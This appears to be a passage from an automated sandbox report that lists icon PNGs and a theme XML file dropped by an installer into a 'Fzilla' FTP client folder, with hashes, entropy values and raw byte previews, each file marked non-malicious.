SHA-256:	53A23EA45F894152E14D51550AD53B74E27CCF31F34ACD354E2DC1FD26F69A57
SHA-512:	866AC7C86924543DAB658C9D503D1504A90A4C7DF84F14C8E4F1CFE85E21574F26FB590245497032E72EEAD785E8BAA0295731C5443254777F94E547DBEE2F11
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....+K.DOdV....a.....I......$Xffff.af..f.k..2o..rI...{.J...q\|#3.-.~=....R.9.&).i...r.J...`.H-x.R..ZpG.y. .Lh...J...]........\....1.C..r...x.....Y...SDM...;C..VJ7..i4...:6..LR.-R...5....<)........f..bW"UPk..h.5.u-....O"RJ..1.}....RsG....l..h.j..m....s6.b........f..X.^.......1W.x....p.V..w...Rj......C..!....`.....B...G.9.ND...`-k#.....v=C..s\[.d. \|..c.Y.....Pz.....>bm......R>....!uR..e.f..n....(..Rc...X...I.C...uF...Z..+.<..D6..6.......@......=8.n.....z..Z)/.I(!.p$......L.Q.Z!....$...L....w.s..J......n..}..:B..J.C..........`.3Xv$\p.P/..CX..lpE...u....]....=.5.. @.d.S.#.....A......f3.J.R.q.[.r..z..p..z&...4.b.$.....uu.r.8...+......A.......5jA.q..P...Gf3...p..L....P$.$$.d.l. ...w.p.>.-...W...H.X.M..A.(c.l.- Y.@.!.8.....0.....b.%..@.!.DNy..\|(..\....... .62......mY...AD.1A..d0...d...M..{...Y..G.......%....Q...\|.0v..#..u4..t &.b,."Id..s=..KH.R.J..`..S..<...x....vE...^...QA.M.f...J....j..{..[

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2718
Entropy (8bit):	7.914641155372363
Encrypted:	false
SSDEEP:	48:gxAXtBUulnzNG3bhUN0yi6qoZgKB5RzBWty2mgU6a9UzYy6L8kpKGRVgakTPOwV:ga9rhzyii6Zgu5ZYty2mgU9Ua8kpKGRe
MD5:	352B058EB1BE00FB9286950A592FC5FB
SHA1:	2617BE3A882B81E94471B0996362F521803469A6
SHA-256:	BEAC754532E95667A3B2A9A47F232CC058E16ECE1D76BF6B0526FCB72FDDE3F8
SHA-512:	10F0C2953E083445F7F8D9ADD2A0E91119F2F422C8E7DE3752535E924EEF281AF91C238E3E322B587A5DF1ABF6CD279EC80D6D66A2ECDCD571DCDA90015A59A8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......eIDATx..W.p.V.=..2.^C.1..u.uRffffff.33...6...13.j....5..w.....h.<[......;D..W./~..._o0...UU.s...m.. ."t]..W^^.......6...^.7.sg....0=.8`.E..zk......5k...Ft..yH.@..a....A %$<O..(r#;.2..$..iPU.o.s.Q.h.c...h..gn._......@...#AB...7...p....B...Z..VRf.).}nc......&. ..r...3.SQ...7..2k....c.F.&...qfi....p..{...."...... ...S...F........m.....h.(.f.LE4-...sD...S.$."...V..I.}l...XB:I].i:.t..f...........1.h.b .}..j.R.>t..a.27....Rf..b$.@.NII1.Ct.'QB$.....x.@XU.21S.}n...(..(....\|]..h.>7r...L..P....l@."7.............P.~.A.,.e..GMM..s=.p<n...8.~n..7..u...2....6n...&.I....>.....v......)g?..1p.w.x..........a...}..\|......m.}.e.\|........q..6.}..\|....?.g....w...d/.GRC.d.....nE.....^.b.......7Z6a...=1...\.+..c.q3.\|2..%.~.{8...W.K.oy....._..wc.......m....E;._6..x....z...&o{tx......t...8..S...%..Op.r.e}c..t.......L.....}.....#.lV&..Cg...{}1~EW...!.`B.........\|..=.{..pI....X-VA5.!....s...v.}........D=.1c.v......n..V......"..

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2385
Entropy (8bit):	7.890971026189003
Encrypted:	false
SSDEEP:	48:/ANxOR6yQ47T0564Rj9u029HwhUSqQPmBNg/PDLnqDcOL0kuZlP9B69HXDFt6yx6:/ox/9A4B9uuqQPmBNKHqDekYX69HXDOv
MD5:	B8791DF2018EC7E38D1719F159CB23ED
SHA1:	0CBE401D6EC621ADA178A905AB35882FC2F13BCB
SHA-256:	55F9AAA59E203F9375779912431DC12E2151364CA1B79D994B11F4D9BC5DFF7C
SHA-512:	1C2660F03B8DC9ECA6AD9C6E467DE16438F39C11904946063BAA4405B47A29342E3551DE58CBF68175C69AF9BE13A2089EDC3E8E638E8F16D09181CD00389AFF
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..X.p"I...g`...[...............{N...nC..B...^UWql.......W.\|...Y..?.....0.Z\|.V\e..<...o.M.C.}....&O~N........7...9..B..<......`.....8.R..}....:....@0......T...!...O?..K,.dB.1 ..1H)...b.6..I@.(TAH..4..r..jQ..mBA.4.J.B.,^W@.~...\|..y`.Y.Y.....].%G---.6l.........[..4.Wh.?....5..^3..i&.A__.X`.......C.....J...p...(.K........B...N...+.,.T...7.V_X}....9.C..\|..d...<~.....E.5..(.x...........j..d@..T.J%..?..L....j..Z.._f.e.4T...\|.\|.UB..P.p]%."\A.P......P.O.....k.O...;.`..W...I$...P.".a.I.P.O...8.@.Q..L!"........_.=N>.dj.r.....q..W.2MS.I.....eY...3...o.C.a~Y..OA.8._B>...K)..ob.I.T.T..J}....:..>..S$B..<...A."\.....v#.r...%.k..4...X...5M..N:........q..7+.Xz.q....k....../.m._..f@..:.H}$..^...].)...d.'..#......To0..).?....@.Q....).t.......cu..m...+...~3P.(........BjjT..2.Z@.....;.7... _.Wc.z..... .*.......^<...x..'..s..d.....K/..[....Gq.}...+n.\|._.g....f.....5k...#..49:::..!B.\|.f...X..R......W..@....\.E<....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3383
Entropy (8bit):	7.915261035735694
Encrypted:	false
SSDEEP:	96:PiGeCfn1RodedpPnVa6ewR13NdHIsk4BAyPGLqj4MdyOz:PiG7R5BVWwRnjpZP+qDyc
MD5:	B24FE8D9A6564FA51CC09C4D938537D9
SHA1:	D90B7470A9A633B5A91B5A3D865E4AEBF4518A45
SHA-256:	1473B63D7BC91DCE0E31FF05A1B7DA6F17E60743D812A43CA75F9F0FA12CF258
SHA-512:	0A195E0353531CF50BDA5587448A2594B13550663D8CDC24C8BA03EC925FCD4C9B6FBF0D65A2FDC6970A3EF12095F9D6B76338CC69723419FBDEEAD24EA1FC11
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$...sJ=..3..5..l.m.m.m..f.;w.Y:'s......5.._DF.....j..8._.. ...r......+..hxh...i.....'$X.8.`..<Y1.R.b].r.F.Y...n..xU02.....+b=0.4Z......\`..^S?.....Y.......#C+M%.....F..!...?..MD..(.,.@m..'...f...)..@fg....(`.4GU.....&...D.Z....]>...I...D.4.....K..^.8......r.......6...4...W..W.@..p......;.....]..8PLO.,.^@..T....E..^..@Q.Y............o}./...8!......E.......C.....~........o..^.JT...=.....6.N.)<zET ..%..w.1.x...sRl...G..pH..E.e.WD.b#.w...........$....^...!Y..W.i....CU.^ ....."w..J^..{"^.PU.{...C..-...E..\....SB.._}MT.....1<`.EP....". .....X.U.(x.R....j5........1.Yn{.^..{..w..c....8.B.9.<X..@.3..U.K....f.........5G..`..(..(..7 Dq`.....Q...WR....-y.#.....i.(............. ..".v.\.j.5w\|...\.z-.....{8....L.....B.<...y&d..Nc.....N.(......'?..>....@Q.I.^...0....FE.\...4/....j.q...#.=q.." .A0....>.....A.".2\|.3!.:..).B....F...x.k........!...`..i6p..g.B...6f.c....Rb...(T..b...A..QH.,.M.t...N!

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.876659828803413
Encrypted:	false
SSDEEP:	48:sxy6mreBeYVmkUadVGSLRYzorJVgOoXYOHYsd1JnLn:sxy6mrezJLGSLRUorJgXYqYsd/
MD5:	B14E641FF8F0DD167279AE4C888BEDC4
SHA1:	39B25B13117C2E1BAC04155DBBF1E06480C69E0A
SHA-256:	79F888E37D8993693F271762FC74B8592E02C8005C16D4D119637B2170E9D1E7
SHA-512:	81ACFC63122B9CEA0DC941E46378A7791759142827926FF2737657EB948F7D4E7ACE313EF3F468D89A4BF51FE20058407F88706FD13282C5B4B148B3105FA81E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....d[.F..A.tm.k.l..um.m.m.m......]....sm.X.._...}N..]....8-..1-uv...Ca...H......}.[.}...x.T.nX.'L.Y.4...~..C.Jx..+y...\VBIKy.]a.OZ..^...}.nWR...$'.F.>/.:..8....G....@..v...o.Ci....D....I%I.o?.*.+.....$....(...:..mw)/g.o....... 4.i !a./2...-....s............ee,x.-\|.#.._J..2.M.Hj.%.....TWR8............\|...WU.h.p...B......c.T.\|....w?I.._.y..+a."...p...lwHm.......-.~...Y$. &.R....{..WI9...j........[.y...UV...o"...........h ... !T.....?.<uEE....#0.....F.\|.9.hld....t..8...X.....bb....9..LUa.yM[.~.....I.q...:......AX.B..'.t.....;....!.....`..S^TH.q...\|....+N..z...:....#...H.... ..%~n...c...K.....h..2..gFR.C..j:.G...A0.;k..w.=.....9l&L.X...(k.ha.A[...^......Q1......E.Nf...!...0V0.;i.../...!.671o.hLw......A...4.e"d....;BE .x..... F.T .w..K...h......j\.e.i.../.h.c...7n,Q..a.22.L..A...2^d......\|`.`]..8l.xm .H...K........SP[0..0.60.......n.....uu!M....{d.Q./opd..t.\|..S....r".8.......].......(x.IT./b....3..z.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\48x48\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3019
Entropy (8bit):	7.912407224816828
Encrypted:	false
SSDEEP:	48:PBf10D2o/g8UWsDUmPqlWp6o/WSdxCVVNWwML24HEPnJPFhPwb:5y2o48UWaHygp6kVdxCVVNzi24kPnJtw
MD5:	7E844E152ABF5F1AE60DFC580BFE8881
SHA1:	FF861287B289433B5F0F6172E2C5A972F95B3A5F
SHA-256:	768E0DD28B098F82A5452BC062A231457A9A7B388E2BDEBFAC9B5A9C98A7F4D5
SHA-512:	E3FED01C905D9863AC29BCBB4FF6FA1B5F5D51875C1ADF2E0CFA8F788697E7D36440EEC9D5B04C43C0439935FF46E6FAA05D323DC301642B41DAD79DAE70F1A7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....t.[.......R..m.m.m....).f...s....n...z.....Zy.....o..k..c.&./)....x..c.....m\|..Y.~....?....^S.u..r..G.....g.......u{.m...mw.n...qG.p.........._../..p.l......'....c6...Z4Wg.Tnb.1.1x.b4.....C.6q.....-m-.#.&....F....g..-....2t..%7...B.wX/%...\|...P..DqDMD8.._`.<..[....F..v.......X)+1q.q.v....\| ... ...#".......7....l....8...0..iCNI...7?.2#.....S...L..d ....4...~.^.i..Fxt.=w]{........\|.@I.#.lJ..%.p...<v...5v..!.C"......(...~LL.S..+0...u.=..t.0>}..<..H.'%..<.....@.....cF1h.qc..7........Z.r$&. ........w.mG...Fk.'...K..a...... .......,......;.:.h_!.8.HEJBG..H...+...-...}.A..0r..<t.JkHb...).i..H .f..?.$..F....og.R.iZy..u.......p.b.."...u..>d...7M.Lmmv...1.`....E..\`axb...]}..#....Rcl....D...@.../z...0.R.V..B..b.b8..:..(.)aP..J.V.....D...c...{.].......8.Tb.....=..{.o*...9.V.y.X>\|....#A..@`..:.Y<,..J....~.kLP...w/...C.\.r&.s.,0.KM.VZi....#...D...Qa!.(...%;\+............3..~.....GO?.p....!].Z..M

C:\Program Files (x86)\Fzilla\resources\opencrystal\is-KTPJU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.086341014751603
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKygczO+aQmzrFGzgjYLDVUxEYP/oHUTUZBgmCzCOHWXdQUGOH1QIh:TMHdtAgTmzrUz5DVUxDgHKABglGOHW+6
MD5:	882FFB378C599E3F75FA95790DFEC499
SHA1:	9800945000C71DE9BD6D4BB80B926BCAA406E0A8
SHA-256:	2673D02AB9556121FF2ACFC2B90F1B9799C6B3554C3183D28EDC6D674B946435
SHA-512:	F42C1BE402920F912084906FE6FE6AAD6CC74384CABA477C09A22478E62902D3539DCAF64957FD940EFC459D321B6E7C9D693F8E3C99951CC21F325B91F7268E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>OpenCrystal</Name><Author>Stamatis H. Stamatellos, Everaldo Coelho</Author><Mail>ydatografida@gmail.com</Mail><size primary="1">16x16</size><size>20x20</size><size>24x24</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\opencrystal\theme.xml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.086341014751603
Encrypted:	false
SSDEEP:	6:TMVBd6OjzwgKygczO+aQmzrFGzgjYLDVUxEYP/oHUTUZBgmCzCOHWXdQUGOH1QIh:TMHdtAgTmzrUz5DVUxDgHKABglGOHW+6
MD5:	882FFB378C599E3F75FA95790DFEC499
SHA1:	9800945000C71DE9BD6D4BB80B926BCAA406E0A8
SHA-256:	2673D02AB9556121FF2ACFC2B90F1B9799C6B3554C3183D28EDC6D674B946435
SHA-512:	F42C1BE402920F912084906FE6FE6AAD6CC74384CABA477C09A22478E62902D3539DCAF64957FD940EFC459D321B6E7C9D693F8E3C99951CC21F325B91F7268E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>OpenCrystal</Name><Author>Stamatis H. Stamatellos, Everaldo Coelho</Author><Mail>ydatografida@gmail.com</Mail><size primary="1">16x16</size><size>20x20</size><size>24x24</size><size primary="1">32x32</size><size primary="1">48x48</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.429571273157272
Encrypted:	false
SSDEEP:	12:6v/7HLtirj2tPWC+IaFl4IQs2JRzH9B10SsxtiePIQ93cCmkjSZKvCuEyd:4in2P+IaoDsc14xtiCb93cgjoYCuEQ
MD5:	4C966E3095C1741CAE0286EC2C35D75D
SHA1:	2DE484DB3521700C7D25EA8DB85FF5AFC1715E4E
SHA-256:	230C5906C6460D660939D46AEF4A4AA474A051CB01BBFD04D74A6E2891F10551
SHA-512:	122CEB1074F290C7F2A0759483389185D54F5A3534944594FDA96E76F20844319CAADC8881FD98670B3AEBB53243D2946A0A0CEC940A87E137712162C702A853
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......OIDATx..1k.@..M......7o..y.P.y.).'/....6....h.. $8.O.I.tfVu4.............@.h.2.q...r...v34.s..d{]W....T..@.......9...?].m~.&K....}M.{.0..0....a)..=...@......z<.v&>...B...`.x-.bB..E2.w.}bX...!...1b.............U...".<.32...0'.........0.[..........E.G..z=.JA...P....!......].s.4............Lw.....A.l..=.!.F&..z.R<.....s/.n.......F........V.......h0.g:.+.Q/.m5....m[.....WT.......P.?..@......H.x.]{`. ..(.m.N..l.m.m..{..9...r.J..7...!T....#.}..WXB..{"..!.. #...@.j..Lb..8...q#\.......0..4...HF.\|.%.A.....f(A....3.....!...A..,..P.<d#...F0d........3$(@Q.*C......9E(@..............&%....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.527420944317178
Encrypted:	false
SSDEEP:	12:6v/7pyl4c7b4CCJBLK/owrVC99RJzlo2oBlzXmca2WQqQwOXWoCWpZacGyfRr1PD:Rl/nhMxi5+4+SNO6RRrtD
MD5:	57695683E3438E7B488D5E9A7B8164E2
SHA1:	F51184F2058B91F190B992C44CCE5242487A26E3
SHA-256:	AF385720A4ED2527FBA63BE42FF9E0772C1E3AA285BDAABD1B835A1F55A491D5
SHA-512:	F97D6D0018A42C1246046D1C4317130396F234EEC10C8E6904ED98D448E7CB0AB6358C04CFC7FC60EA00E41A74203D86F053E49A1FFF8C972D3E0B74BE532EDF
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...g.A........@. ...... .@@@@ ...F&...p.wn.....MWJykM...f.Y.OM.....fS........r.^..p8...l+...^..H..$.x<..v.J.....\|.&..D....b..@......z...Z.V.v....r.=...Ki[........\|.t...'........>.....w..(y)X:4....6!0.@..@.Q..;..P. z ......$/E.L...+!...@a.... ...K&...V.'\|...?.q...e.)'+....5D$y).d..p......lY.&s?.....,..,...0..H^IS.#....@.@...B.5...8A.n.@....r.....h"....3.<.VX...4.....fX....q..s]..69.p..?......(u.49.E.Y;..=...`.^...X'..........W_.4..9.R....VZ=Q'....8..&.........B..:V.%..N...!yAi..6..1............v.'.(....Q.m7u.l.vMi^.a.)........=..Z..{...W.!... .\|.........4. .............pQ..tcTk=..............%......p....78.!....,a...@..Q.\..>...t../.!.i.C...v...C..5......hA...".1..7.U.........@CAB.....74...2.*.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.624463959445692
Encrypted:	false
SSDEEP:	24:0KKL2uJjklKGOSMfHQL6h+Pl0kssZxOJn9iM:0gWjkwGVbLdTOJ9l
MD5:	2DD096CFD1E5ADF70EB009A39246D77D
SHA1:	7F438036CABB033A56961A51A1DE382B0BD523AB
SHA-256:	1DD1F82AF488876787108D8A9F6DAD338B8813B2DAEFD3BA2227CBF0DA2CE784
SHA-512:	F1CB63BFB0794BB3B209D51B4D49CB47E0CFF5630E00CE349B1926C69F8B1F381A689F407E5AD5405CFECC08A4FF51FE1B84F2FDE6F85DDFC26BC9B4EA093E61
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..!..@..k.7.o;.A....B\@...P(..3.O4yyY..hi.t.........".}.h....h.].......k.v8.b>...r.[...c.Z.o....T.Y.5...6...C.....9..".9....i.`.\...Rr.U..."\|.....'.@....0........@.k..... .=....J.....f..5.h....p...P..yF.C.......4x.n.8.N}.7..o...N...<\d..]U/O.sQ5.@.]..O..x....T.]..i........tN...X.....b.....&..ZH/..Q..cT3)@I.p.".<.ZH/..C...(4 ..@...K.x..a\|O.y.........q]Cb...(41...H@....A.\9.\....c{ ..Fdq7..L..u.S....(.B?R..os....p...B..D..K..@crzhl..Vw.j.....dInH....Wc+.mr.y..l.....A[../aP.hl.t..........b?8....@...E..>rc..4.~.........._.m.......4../..nn6N}.qO~x....BC......F..........F.......XD.....b...Z.i//.y....??.5OO..)....p.k.Y...)...U,a.s.D.ZP.<d.1xA..C7Q.@.".......hE.z1.a.X..B?z.&...."....../........e.. !..._......f........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	7.77484061058976
Encrypted:	false
SSDEEP:	24:3XOqKJTRfQB/nJKNI1p+a6TkJXGt/m3ncK7zlmR7tvMM1Pq88XD4Bc:3Gfc/Jnobq2/m3Z3Eb9980K
MD5:	59E972676124B8A04321E3837F0EA7F9
SHA1:	BC22436237589A0773FE2A887F4CE74D80DD2F57
SHA-256:	45A3A8668CC26632295745B3FD6DB530FC4190E9957ED1DA4B454C22FE935431
SHA-512:	E18C008883F0D2C94F7DE3048A57EA3A65032D4C2EE35EE59C1E67615FDE172FE0CBFA4942C0252DDA358780E124DECAD164ED4DBF4C1F8BAD6A8AAB4E4EA1F3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......lIDATx...c.-........m.m.ym.=..B..6.L=..5.......\_.J...>..1... a..+..v#.42..Y....h..f...K....[%.\...\....'...~Z. a.f..gL.)+....@.o.......\|. 5i.U.HX....`./..U. a.:.V.........q....5<]..q.....Z...O.4..M-.,...{.`.wK.S#.Ku..P.7.....QF.".V4@....ed?..D.V.@..o2...W...LK8. .z>U..W..O..H....g.U..pl..u.S...V.6mr.....\|;Z..-..AM..j..d........Kc.........Z.h..3...z...Xn..Q.H-..x....L.......L.bt...V4.,.L}&......O-.=.L...cb.....#.d...4y.\.:s..U. .q........W.D.....cR4h-.....0.....,6.2..FV..4....Z.X~.g....rc&@.7.W..,.........V.,...B;..1#]...O.?...E..R...P........//....,x.Y..F.6...1.m..%...".r..RZ .....x.qE.@!<._.....V.f.$.......%n)..8...M.x6.U.5....=.f..m4.^....la.....<.$v.:...z.COt..m...M..[4\..\.~..FV.S...?.....z&\|.S.>.@.h...}:.......;..O3,:l.c....;a;l..=..m..@..[?...p.%\..M.)..)_.a...........Y.Z.[c_...p.\.G.m../1.....8..b.p...V.....F...8..\|..<..}F....p.N.1.G..$.ki.m+........W.....W.[..M,z..W..\.K"i......!{

C:\Program Files (x86)\Fzilla\resources\sun\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	7.7946202243399005
Encrypted:	false
SSDEEP:	24:3Enx5/yYunqpJlsYs36ZayQAsshNhNh2eFa3qFOc:3EP/yOJg36IrsxSYaagc
MD5:	82816EF4221127FA3E95AD9DFD2ED927
SHA1:	FCA97101A6AC45ADC6114C3F55B0A79F1D63F980
SHA-256:	95E08CD4DFE30D63CBC08367DCD60EC1032A5A31202DE9F4A1CA66B0B87EE0CD
SHA-512:	49227B556823044F1E724278F4AE073DB5DD3B4C0CDB26BB5A299041C4FF500DC69D2AA279C80F58FC5FB1C4E46321D4FA78D12CE70F9712E674FB1EFFC5978B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.b............4g.@r,q.....<.m.m.m.vln.nb..T...aq.S.?6.o....D._..i..Q.....4..-.8]...."6..E..4bQ%ba....q9U..^)w...`r.....=.....g.#....H.....D...Ce..."V.@....J.C..Y.....>...&...k.fY.D..oC...i..9..H.l(...J..pN.\,qm.."...b.(ej....Hq_.Xl.{.....eB1..2/.2..qsE......2=S..&c...1...m..\k.....L.^...[.+.............T.Y.`..D.yc..+.c...>!.H.(.l........w...Q4..L..(.O....b..7.7..R.......v..YN.d#0%Q._n.g.Tp...3..99....-,\|.D...M."..D...".fn.......cb...;.z..'\|.>..0 .].......2...3{.....N......BLz.\|w.ws...+k...~...5t...B!zP...:..x....>S..Nw..."...=..fz....{"....".h[.O%z0...gG.X..j.v...&.4o.6j&..fH........\|?Rh..h.8k.%....F!..X."viG..O1.)...X.-.D....D=...X..b.+9.-C...O{...6..A.)..?[.^.[5.......%U...q.......aE4K..].r..;c...#v..Oi_..].v>7.p..}.=...h...._..Abc..p.N....AG...Bc..t..8...`.$...j.5.....V.68.'..\....L.n...u....r!/.B........B..8.&...U..:.x.........K.'.............bol.U..u..^!...A.,...#..i..p....aX...o9.....

C:\Program Files (x86)\Fzilla\resources\sun\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1235
Entropy (8bit):	7.787320093902789
Encrypted:	false
SSDEEP:	24:3Ag1sCZkB2/qwKtX138WUuRrTGgDmrnasSle5LF35PZ28/+bHsAMAKY1:3AgGjB2SwKh138CrTGgyrPS6rPZ2w+Ye
MD5:	A50944541EA7D6DD25FC82F31712901B
SHA1:	FA8A8C1C8682EF35F84A69F8A86E8004FA11E1C4
SHA-256:	CEDFC9DC75A9B787E17451B4086CE9040BE7A8873B8EE5A0C909CCF4B5191DFA
SHA-512:	3DECBB66137152096058895EE126E9BA122380A9B7D1B974522C829CB30D9A9DBA7A70DA2C8A802239A6B45597D354A7120CBAD8A720A42F2A4A4F0B193ECD5C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....C!....Fo.....k...v..d...Q.;.0.<lXS...~@./.....`...k.U.A..RJ.c..3.I..9.z.u.Q...9g.B8..4t.t...(.)..]=...l.'..\|X.n'4...7.<....!.QJ........^.Z..$I.<..8.}.<.m}...o...`....b.=...S...\|.r..;:..xg.zV..c.S...\-.R.4c.b...{......h].n5`.b72..g,..5.5.=M..Y..I..U..G.b......#.G.I4.....8.;..N..}w..f.d=_...8....=...zHt.a.m.E..2..Nr......Z.k..L.l..J..).n.T.4Q........"b...l.W.Q.!.(.&..j.4..$..\|..K......]Z.7..4s..]f!.)X.....F..+.T;.,.C...P.:w...J.z.A.i.,..=.Uh.....VE.n%.....I..@.......UY+n-...pB....a...N.'..&.=...}R.q..c.;.~_W.v.z..[.. ~...`....o.[.m...z.9..;1et.[....%5sn.`3\....K..0.u..aG.sS.c....D.>..pC..R..v.}......a...X.G=..Ys~.tv,.N......A...\...m.s..^Y.x.N2....9O..,..M!>..I.....\|.,......B..i.>H..1aQ#.F...W/a......`...F .....O#....jtfb.Q.../`Vv+.h.3.v>....b........t.".\..@b.e..A!.3s..m.=..... ..H.(..C.L2....'.B.,.<3.3..+........@..........i...U..T)......Q.^.J.F..=0..L.->.W..\|....}.....=...f...@ =<"...+p..G.s.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.655436577701397
Encrypted:	false
SSDEEP:	24:+x2cjjk7fsUHjJ30L9wZATp1zGIDFZjo/BbRb:49ggUHjVhup15Zj6BbRb
MD5:	E7D43FABA715A2EB24B94E1CE8A573C4
SHA1:	AD602F4D40FF7903939DF2BBE773F7371AEA9DCD
SHA-256:	ABC5391C49A4746F2E07D0DCD889BD07985BE9FF916A6DF63B44E2611C7CFAE8
SHA-512:	0F6520E5453F4BE9B89DB78CE10E86EE7C060451CF36CD3E52602F4319733F8345162C1CC2CFC651F556CF301751A962F11459B72411C40560AD2EC9F178C41E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....4g......m.m.m.m...m.}..l.e.M......(............s~...\|...@O...\|...<.....Su@`..^i......GO...{.f.( 0].#.\|..>.>.......V).......F`.....d8.."...8-0I...YS.....r....8@A.7x2.U...R..f+....M..D....rW`...i..DU..9._.rl..........^.Z...>...i..D5...x....o.U-....X.O@...Q..owwGo....{.....o..\|......\|...-..9vE.. .M...-./_zD.t".5...w..._.. .g.4.o.....(...\|..Y~.k@...z.x.t...O......M......$..u.8.......E#...8.x.O...q...("w..E.:?....}o....5.xr.{%^..Z...5.b..4.....%@....D...N........).....@3.........L..vb..x...4_..:...a8:...hD..aBL.Y1.l.$.W.....s`.L..0.-h...m..I1+..bXbk.}.\%.o..i..%.(..L..C(...x...cy..5.g.[y.....`{...X..`~L.1.$.......3c1....)6?....2.#..N......ae,$....f....i2......NKp..<.R...s.<.{;r.v.....a.L,.m.g........07....../.)g..#En.......\.].5.....`(Z....H^>...1=..*..;....q.=\|.....)........6.<...6...Sc...=^p..81...t`..c...d...`n..1...L...c<..0t..FC.....6.......oYF....z.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	998
Entropy (8bit):	7.726131164929331
Encrypted:	false
SSDEEP:	24:pL90R1k/Hyc5wzwrmUgNK+lddaMIyu9Euuqs86tKOZd91YHN9+p:dO1eonUgE+lH4yxuuqs86HZH1Y2p
MD5:	9BAE989C1007DF6AA4EF3A90F38BF72F
SHA1:	1CFA4A3320D53A4FC73912664B1B61469F6E4AAD
SHA-256:	B239406994D7B8D3E0C30E71EF6AA0E7383EB196CA28EDB4A834E9AC6F551BD9
